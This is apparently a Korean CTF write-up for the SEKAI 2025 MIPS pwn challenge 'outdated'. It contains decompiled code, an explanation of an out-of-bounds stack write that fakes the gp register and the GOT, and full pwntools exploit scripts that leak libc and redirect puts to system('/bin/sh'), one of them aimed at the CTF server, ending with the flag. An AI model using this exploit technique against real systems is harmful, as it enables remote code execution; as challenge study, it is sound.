
checksec
ubuntu@c304d9296d3e:~/study/sekai2025/pwn_outdated$ checksec ./outdated
[*] '/home/ubuntu/study/sekai2025/pwn_outdated/outdated'
Arch: mips-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Decompiled-src / Analysis
- IDA pseudo code
코드로 알아보기 힘들기 때문에 ghidra를 활용하거나 어셈블리어 코드로 보는게 낫다.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD v3[8]; // [sp+0h] [+0h] BYREF
unsigned __int16 v4; // [sp+22h] [+22h]
int v5; // [sp+24h] [+24h]
int v6; // [sp+28h] [+28h]
int v7; // [sp+2Ch] [+2Ch]
int v8; // [sp+30h] [+30h]
int v9; // [sp+34h] [+34h]
int v10; // [sp+38h] [+38h]
v3[7] = argc;
v3[6] = argv;
v6 = 6553600;
v7 = 19661000;
v8 = 32768400;
v9 = 45875800;
v10 = 87622432;
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
game_name[(_DWORD)&strcspn] = 0;
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
*((_WORD *)&v3[10] + v5) = v4;
__asm { sdc2 $25, 0($zero) # why exit here??????????? }
__asm { sdc2 $25, 0($zero) }
__asm { sdc2 $25, 0($zero) }
printf(0, v5, v4, game_name);
}
- Ghidra code
그나마 알아보기 쉽다. 하지만 매개변수는 제대로 출력해주진 않는다.
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
void main(void)
{
size_t sVar1;
ushort local_26;
int local_24;
undefined4 local_20;
undefined4 local_1c;
undefined4 local_18;
undefined4 local_14;
undefined4 local_10;
undefined4 local_c;
local_c = ___stack_chk_guard;
local_20 = uRam000011ac;
local_1c = uRam000011b0;
local_18 = uRam000011b4;
local_14 = uRam000011b8;
local_10 = uRam000011bc;
puts_blue(0xcf0);
puts((char *)0xffc);
printf((char *)0x101c,main);
puts((char *)0x104c);
fgets(game_name,0x60,_stdin);
sVar1 = strcspn(game_name,(char *)0x1074);
game_name[sVar1] = 0;
puts((char *)0x1078);
puts(game_name);
puts((char *)0x1094);
puts((char *)0x10e8);
scanf((char *)0x110c,&local_24);
puts((char *)0x1114);
scanf((char *)0x1144,&local_26);
*(ushort *)((int)&local_20 + local_24 * 2) = local_26;
printf((char *)0x114c,local_24,(uint)local_26,game_name);
puts((char *)0x118c);
/* WARNING: Subroutine does not return */
exit(0);
}
- Gemini(2.5 Pro) Code (IDA Assembly code → Gemini)
- 위 어셈블리 명렁어들을 c언어 코드로 변환해줘
분석하기 좋다. 취약점까지 알려주는 상황이다.
보다시피 main 함수 주소를 출력해주고, game_name 전역배열에 95바이트만큼 입력받을 수 있다.
level_rewards 지역배열에서 OOB write 취약점이 발생하며, level_index를 통해 쓰여질 대상 주소, new_reward로 쓸 값 2바이트를 정할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 전역 변수 (어셈블리 코드의 dword_11AC 등에서 참조)
// 실제 값은 알 수 없으므로 임의의 값으로 초기화합니다.
int dword_11AC = 100;
int dword_11B0 = 200;
int dword_11B4 = 300;
int dword_11B8 = 400;
int dword_11BC = 500;
// game_name 버퍼 (fgets에서 사용)
char game_name[96];
// 사용자 정의 함수 프로토타입 (어셈블리에서 puts_blue로 호출됨)
void puts_blue(const char *s);
int main(int argc, char *argv[]) {
// 스택 변수들
// 어셈블리 코드의 var_18 ~ var_8 (20바이트)에 해당하며
// short 타입으로 접근되므로 short 배열로 선언합니다.
short level_rewards[10];
// var_1C, var_1E에 해당
int level_index;
unsigned short new_reward;
long stack_canary; // var_4, 스택 버퍼 오버플로우 방어 메커니즘
// 스택 카나리 설정
stack_canary = __stack_chk_guard;
// 전역 변수 값을 스택의 level_rewards 배열로 복사
// dword_11AC ~ dword_11BC (5개의 int) 값을 복사합니다.
memcpy(level_rewards, &dword_11AC, 20);
// 프로그램 시작 메시지 출력
puts_blue(" _______ __ __ _______ ______ __...");
puts("Welcome to the Outdated Game!");
printf("Here's a little bit of helpful information: %p\\n", main);
// 게임 이름 입력받기
puts("What would you like to name your game?");
fgets(game_name, 96, stdin);
// fgets로 입력받은 문자열의 마지막 개행문자(\\n) 제거
game_name[strcspn(game_name, "\\n")] = 0;
// 입력받은 이름 확인 출력
puts("Great! Your game is named:");
puts(game_name);
puts("Now, I am feeling generous today, so I'll let you change a reward.");
// 변경할 레벨 번호 입력받기
puts("Which level do you want to change?");
scanf("%d%*c", &level_index);
// 설정할 보상 값 입력받기
puts("What reward do you want to set for this level?");
scanf("%hu%*c", &new_reward);
// --- !!! 취약점 발생 지점 !!! ---
// 사용자가 입력한 level_index 값에 대한 검증 없이 배열에 접근하여 값을 씁니다.
// 만약 사용자가 음수나 매우 큰 값을 입력하면 스택의 다른 중요 데이터
// (예: 스택 카나리, 반환 주소 등)를 덮어쓸 수 있습니다.
level_rewards[level_index] = new_reward;
// 결과 출력
printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name);
// 프로그램 종료
puts("Thanks for playing! Come again!");
exit(0);
}
// 어셈블리 코드에서 'puts_blue'라는 함수를 호출하므로,
// 이를 C 함수로 구현해줍니다. 실제 기능은 알 수 없으나 이름으로 보아
// 파란색 글씨로 출력하는 함수로 추정됩니다.
void puts_blue(const char *s) {
// 예시: ANSI 이스케이프 코드를 사용하여 파란색으로 출력
printf("\\033[0;34m");
puts(s);
printf("\\033[0m");
}
Solution
MIPS 특성상 gp라는 레지스터가 존재하는데, 해당 레지스터값을 스택에서 가져온다.
printf 이후 실행되는 해당 어셈블리어에서 gp값을 다시 스택에서 가져온다.
00010bec 10 00 dc 8f lw gp,local_38(s8)
여기서 oob write 취약점으로 스택에 저장된 gp 하위 2바이트값을 수정해준다. 위조시킬 got 테이블 데이터를 game_name에 쓴 다음 가리키게 하면, GOT 테이블을 위조시킬 수 있다.
흥미로운 점은 GOT 테이블에는 함수 주소 뿐만 아니라 출력시킬 “Thanks for playing! Come again!” 문자열 주소도 저장하고 있다는 점이다.
- ghidra 어셈블리 코드 + c언어 코드 부연설명
00010bc0 e8 ff 43 a4 sh v1,-0x18(v0)
00010bc4 24 00 c2 8f lw v0,local_24(s8)
00010bc8 22 00 c3 97 lhu v1,local_26(s8)
00010bcc 38 80 87 8f lw a3=>game_name,-0x7fc8(gp)=>->game_name = ??
= 000300c0
00010bd0 25 30 60 00 or a2,v1,zero
00010bd4 25 28 40 00 or a1,v0,zero
*** printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name); ***
00010bd8 30 80 82 8f lw v0,-0x7fd0(gp)=>PTR_00030030 = 00000000
00010bdc 4c 11 44 24 addiu a0,v0,0x114c
00010be0 8c 80 82 8f lw v0,-0x7f74(gp)=>-><EXTERNAL>::printf = 00010c20
00010be4 25 c8 40 00 or t9,v0,zero
00010be8 00 00 19 f8 jialc t9=><EXTERNAL>::printf,0x0 int printf(char * __format, ...)
*** puts("Thanks for playing! Come again!"); ***
**00010bec 10 00 dc 8f lw gp,local_38(s8)**
00010bf0 30 80 82 8f lw v0,-0x7fd0(gp)=>PTR_00030030 = 00000000
00010bf4 8c 11 44 24 addiu a0,v0,0x118c
**00010bf8 7c 80 82 8f lw v0,-0x7f84(gp)=>-><EXTERNAL>::puts = 00010c40**
00010bfc 25 c8 40 00 or t9,v0,zero
00010c00 00 00 19 f8 jialc t9=><EXTERNAL>::puts,0x0 int puts(char * __s)
*** C CODE: exit(0); ***
00010c04 10 00 dc 8f lw gp,local_38(s8)
00010c08 25 20 00 00 or a0,zero,zero
**00010c0c 54 80 82 8f lw v0,-0x7fac(gp)=>-><EXTERNAL>::exit = 00010c80**
00010c10 25 c8 40 00 or t9,v0,zero
**00010c14 00 00 19 f8 jialc t9=><EXTERNAL>::exit,0x0** void exit(int __status)
-- Flow Override: CALL_RETURN (COMPUTED_CALL_TERMINATOR)
필자는 puts 대신에 puts_blue로, “Thanks for playing!… “ 주소 대신에 puts@got 주소를 넣어서 libc 주소를 구할 수 있었고 exit 대신에 main 함수를 넣어서 한번더 main 함수를 호출시킨다.
한번더 got 테이블을 변조시시킨다.
이번에는 puts 대신에 system, “Thanks for playing!… “ 주소 대신에 /bin/sh를 가리키게 하면 된다.
solve.py
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context(arch='mips', os='linux', bits=32, endian='little')
warnings.filterwarnings('ignore')
import sys
p = remote("127.0.0.1", 1337)
# p = process("./run2_dbg.sh")
# p = process("./run2.sh")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./outdated',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./target/lib/libc.so', checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
ru(b"Here's a little bit of helpful information:")
leak = rl().strip()
leak = int(leak, 16)
info(f"leak: {hex(leak)}")
e.address = leak - e.sym.main
pie_base = e.address
info(f"pie_base: {hex(e.address)}")
# pay = p32(e.sym.main + 0x1f0)
# pay += b"ABCDEFGHIJKL"
# pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789"
# pay = pay + b"\\x41"*(0x5f-len(pay))
# guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000
# info(f"guessed_libc_base: {hex(guessed_libc_base)}")
# l.address = guessed_libc_base
# pay = b"A"*0x5f
#fake gp!!!! fake got!!!!
pay = p32(e.got.puts - 0x118c) #.got:40020030 .word _stdout # string by puts
pay += p32(e.sym.puts_blue) #puts_blue
pay += p32(0) #game_name
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #__register_frame_info_ptr... dummy?
pay += p32(0) #__libc_start_main_ptr
pay += p32(0) #setbuf
pay += p32(e.sym.main) #exit_ptr
pay += p32(0) #stderr_ptr
pay += p32(0) #scanf_ptr
pay += p32(0) #strcspn_ptr
pay += p32(0) #_ITM_deregisterTMCloneTable_ptr
pay += p32(0) #stdin_ptr
pay += p32(0) #_ITM_registerTMCloneTable_ptr
pay += p32(0) #__deregister_frame_info_ptr
pay += p32(0) #__stack_chk_fail_ptr
pay += p32(0) #__cxa_finalize_ptr
pay += p32(e.sym.puts_blue) #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0) #fgets_ptr
pay += p32(0) #__stack_chk_guard_ptr
pay += p32(0) #stdout_ptr
# pay += p32(l.sym.system) #printf_ptr
sla(b"What would you like to name your game?\\n", pay)
pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)
pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)
'''
.got:00020010 # ===========================================================================
.got:00020010
.got:00020010 # Segment type: Pure data
.got:00020010 .data # .got
.got:00020010 off_20010: .word _stdout # DATA XREF: sub_6F0↑o
.got:00020010 # sub_740↑o ...
.got:00020014 .word 0x80000000
.got:00020018 _term_proc_ptr: .word _term_proc
.got:0002001C _init_proc_ptr: .word _init_proc
.got:00020020 main_ptr: .word main
.got:00020024 .word unk_20004
.got:00020028 __RLD_MAP_ptr: .word __RLD_MAP
.got:0002002C .word off_20090
.got:00020030 .word _stdout <- string by puts
.got:00020034 puts_blue_ptr: .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0
.got:00020038 game_name_ptr: .word game_name
.got:0002003C .word _stdout
.got:00020040 .word _stdout
.got:00020044 .word _stdout
.got:00020048 __register_frame_info_ptr:.word __register_frame_info
.got:0002004C __libc_start_main_ptr:.word __libc_start_main
.got:00020050 setbuf_ptr: .word setbuf
.got:00020054 exit_ptr: .word exit !!!!!!!!!!!!!
exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable?
실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상
.got:00020058 stderr_ptr: .word stderr
.got:0002005C scanf_ptr: .word scanf
.got:00020060 strcspn_ptr: .word strcspn
.got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable
.got:00020068 stdin_ptr: .word stdin
.got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable
.got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info
.got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail
.got:00020078 __cxa_finalize_ptr:.word __cxa_finalize
.got:0002007C puts_ptr: .word puts !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기
puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info
puts 대신에 puts_blue 들어가려면,
.got:00020080 fgets_ptr: .word fgets
.got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard
.got:00020088 stdout_ptr: .word stdout
.got:0002008C printf_ptr: .word printf
.got:0002008C
.sdata:00020090 # ===========================================================================
.sdata:00020090
.sdata:00020090 # Segment type: Pure data
.sdata:00020090 .sdata
.sdata:00020090 off_20090: .word off_20090 # DATA XREF: sub_7B4+30↑o
.sdata:00020090 # sub_7B4+3C↑r ...
.sdata:00020090
LOAD:00020094 # ===========================================================================
LOAD:00020094
LOAD:00020094 # Segment type: Pure data
LOAD:00020094 .data # LOAD
LOAD:00020094 .align 4
LOAD:00020094
.bss:000200A0 # ===========================================================================
.bss:000200A0
.bss:000200A0 # Segment type: Uninitialized
.bss:000200A0 .bss
.bss:000200A0 dword_200A0: .space 4 # DATA XREF: sub_7B4+20↑r
.bss:000200A0 # sub_7B4+70↑w
.bss:000200A4 dword_200A4: .space 4 # DATA XREF: sub_838+2C↑o
.bss:000200A8 .space 4
.bss:000200AC .space 4
.bss:000200B0 .space 4
.bss:000200B4 .space 4
.bss:000200B8 .space 4
.bss:000200BC .space 4
.bss:000200C0 .globl game_name
.bss:000200C0 # _BYTE game_name[96]
.bss:000200C0 game_name: .space 0x60 # DATA XREF: LOAD:000003D8↑o
'''
# ru("your game")
# rl()
leak = ru(".\\n")
leak = rl()
# leak = r(4)
leak = leak[5:5+4]
leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
info(f"leak: {(hex(leak))}")
l.address = leak - l.sym.puts
#main again
#fake gp!!!! fake got!!!!
pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030 .word _stdout # string by puts
pay += p32(l.sym.system) #puts_blue
pay += p32(0) #game_name
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #__register_frame_info_ptr... dummy?
pay += p32(0) #__libc_start_main_ptr
pay += p32(0) #setbuf
pay += p32(e.sym.main) #exit_ptr
pay += p32(0) #stderr_ptr
pay += p32(0) #scanf_ptr
pay += p32(0) #strcspn_ptr
pay += p32(0) #_ITM_deregisterTMCloneTable_ptr
pay += p32(0) #stdin_ptr
pay += p32(0) #_ITM_registerTMCloneTable_ptr
pay += p32(0) #__deregister_frame_info_ptr
pay += p32(0) #__stack_chk_fail_ptr
pay += p32(0) #__cxa_finalize_ptr
pay += p32(l.sym.system) #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0) #fgets_ptr
pay += p32(0) #__stack_chk_guard_ptr
pay += p32(0) #stdout_ptr
# pay += p32(l.sym.system) #printf_ptr
sla(b"What would you like to name your game?\\n", pay)
pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)
pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)
pi()
solve.py (server)
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context(arch='mips', os='linux', bits=32, endian='little')
warnings.filterwarnings('ignore')
import sys
# p = remote("127.0.0.1", 1337)
# p = process("./run2_dbg.sh")
# p = process("./run2.sh")
p = remote("outdated-boecxic4xpz8.chals.sekai.team", 1337, ssl=True)
e = ELF('./outdated',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./target/lib/libc.so', checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
ru("proof of work: ")
cmd = rl()
info(f"cmd: {cmd}")
proc = subprocess.run(
["bash", "-c", cmd],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True, # 결과를 str 로 받기 위함
check=True # 에러 시 예외 발생
)
answer = proc.stdout.strip()
info(f"answer: {answer}")
sl(answer)
ru(b"Here's a little bit of helpful information:")
leak = rl().strip()
leak = int(leak, 16)
info(f"leak: {hex(leak)}")
e.address = leak - e.sym.main
pie_base = e.address
info(f"pie_base: {hex(e.address)}")
# pay = p32(e.sym.main + 0x1f0)
# pay += b"ABCDEFGHIJKL"
# pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789"
# pay = pay + b"\\x41"*(0x5f-len(pay))
# guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000
# info(f"guessed_libc_base: {hex(guessed_libc_base)}")
# l.address = guessed_libc_base
# pay = b"A"*0x5f
#fake gp!!!! fake got!!!!
pay = p32(e.got.puts - 0x118c) #.got:40020030 .word _stdout # string by puts
pay += p32(e.sym.puts_blue) #puts_blue
pay += p32(0) #game_name
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #__register_frame_info_ptr... dummy?
pay += p32(0) #__libc_start_main_ptr
pay += p32(0) #setbuf
pay += p32(e.sym.main) #exit_ptr
pay += p32(0) #stderr_ptr
pay += p32(0) #scanf_ptr
pay += p32(0) #strcspn_ptr
pay += p32(0) #_ITM_deregisterTMCloneTable_ptr
pay += p32(0) #stdin_ptr
pay += p32(0) #_ITM_registerTMCloneTable_ptr
pay += p32(0) #__deregister_frame_info_ptr
pay += p32(0) #__stack_chk_fail_ptr
pay += p32(0) #__cxa_finalize_ptr
pay += p32(e.sym.puts_blue) #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0) #fgets_ptr
pay += p32(0) #__stack_chk_guard_ptr
pay += p32(0) #stdout_ptr
# pay += p32(l.sym.system) #printf_ptr
sla(b"What would you like to name your game?\\n", pay)
pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)
pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)
'''
.got:00020010 # ===========================================================================
.got:00020010
.got:00020010 # Segment type: Pure data
.got:00020010 .data # .got
.got:00020010 off_20010: .word _stdout # DATA XREF: sub_6F0↑o
.got:00020010 # sub_740↑o ...
.got:00020014 .word 0x80000000
.got:00020018 _term_proc_ptr: .word _term_proc
.got:0002001C _init_proc_ptr: .word _init_proc
.got:00020020 main_ptr: .word main
.got:00020024 .word unk_20004
.got:00020028 __RLD_MAP_ptr: .word __RLD_MAP
.got:0002002C .word off_20090
.got:00020030 .word _stdout <- string by puts
.got:00020034 puts_blue_ptr: .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0
.got:00020038 game_name_ptr: .word game_name
.got:0002003C .word _stdout
.got:00020040 .word _stdout
.got:00020044 .word _stdout
.got:00020048 __register_frame_info_ptr:.word __register_frame_info
.got:0002004C __libc_start_main_ptr:.word __libc_start_main
.got:00020050 setbuf_ptr: .word setbuf
.got:00020054 exit_ptr: .word exit !!!!!!!!!!!!!
exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable?
실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상
.got:00020058 stderr_ptr: .word stderr
.got:0002005C scanf_ptr: .word scanf
.got:00020060 strcspn_ptr: .word strcspn
.got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable
.got:00020068 stdin_ptr: .word stdin
.got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable
.got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info
.got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail
.got:00020078 __cxa_finalize_ptr:.word __cxa_finalize
.got:0002007C puts_ptr: .word puts !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기
puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info
puts 대신에 puts_blue 들어가려면,
.got:00020080 fgets_ptr: .word fgets
.got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard
.got:00020088 stdout_ptr: .word stdout
.got:0002008C printf_ptr: .word printf
.got:0002008C
.sdata:00020090 # ===========================================================================
.sdata:00020090
.sdata:00020090 # Segment type: Pure data
.sdata:00020090 .sdata
.sdata:00020090 off_20090: .word off_20090 # DATA XREF: sub_7B4+30↑o
.sdata:00020090 # sub_7B4+3C↑r ...
.sdata:00020090
LOAD:00020094 # ===========================================================================
LOAD:00020094
LOAD:00020094 # Segment type: Pure data
LOAD:00020094 .data # LOAD
LOAD:00020094 .align 4
LOAD:00020094
.bss:000200A0 # ===========================================================================
.bss:000200A0
.bss:000200A0 # Segment type: Uninitialized
.bss:000200A0 .bss
.bss:000200A0 dword_200A0: .space 4 # DATA XREF: sub_7B4+20↑r
.bss:000200A0 # sub_7B4+70↑w
.bss:000200A4 dword_200A4: .space 4 # DATA XREF: sub_838+2C↑o
.bss:000200A8 .space 4
.bss:000200AC .space 4
.bss:000200B0 .space 4
.bss:000200B4 .space 4
.bss:000200B8 .space 4
.bss:000200BC .space 4
.bss:000200C0 .globl game_name
.bss:000200C0 # _BYTE game_name[96]
.bss:000200C0 game_name: .space 0x60 # DATA XREF: LOAD:000003D8↑o
'''
# LEAK TEST!!!!!!!
# # ru("your game")
# # rl()
# leak = ru(".\\n")
# leak = rl()
# # leak = r(4)
# # leak = leak[3:3+4]
# # leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
# info(f"leak: {(hex(leak))}")
# # l.address = leak - l.sym.stderr
# # success(f"libc_base: {(hex(l.address))}")
# p.close()
# ru("your game")
# rl()
leak = ru(".\\n")
leak = rl()
# leak = r(4)
leak = leak[5:5+4]
leak = uu32(leak)
# info(f"leak: {(leak.hex())}")
info(f"leak: {(hex(leak))}")
l.address = leak - l.sym.puts
success(f"libc_base: {(hex(l.address))}")
#main again
#fake gp!!!! fake got!!!!
pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030 .word _stdout # string by puts
pay += p32(l.sym.system) #puts_blue
pay += p32(0) #game_name
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #_stdout... dummy?
pay += p32(0) #__register_frame_info_ptr... dummy?
pay += p32(0) #__libc_start_main_ptr
pay += p32(0) #setbuf
pay += p32(e.sym.main) #exit_ptr
pay += p32(0) #stderr_ptr
pay += p32(0) #scanf_ptr
pay += p32(0) #strcspn_ptr
pay += p32(0) #_ITM_deregisterTMCloneTable_ptr
pay += p32(0) #stdin_ptr
pay += p32(0) #_ITM_registerTMCloneTable_ptr
pay += p32(0) #__deregister_frame_info_ptr
pay += p32(0) #__stack_chk_fail_ptr
pay += p32(0) #__cxa_finalize_ptr
pay += p32(l.sym.system) #puts_ptr x: 0xab4~0xab0-4*5
pay += p32(0) #fgets_ptr
pay += p32(0) #__stack_chk_guard_ptr
pay += p32(0) #stdout_ptr
# pay += p32(l.sym.system) #printf_ptr
sla(b"What would you like to name your game?\\n", pay)
pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정
# pay = str(int((e.got.puts/2)-0x40))
# pay = str(0x41414141) #32비트 정수
sla("Which level do you want to change?\\n", pay)
pay = str(0x8000+0x4*(17+19)) #16비트 정수
sla("What reward do you want to set for this level?\\n", pay)
pi()
Result
SEKAI{!'VE-dUBB3D_+hI$-73(HN1QUE-"9P-*VERWR17E"}
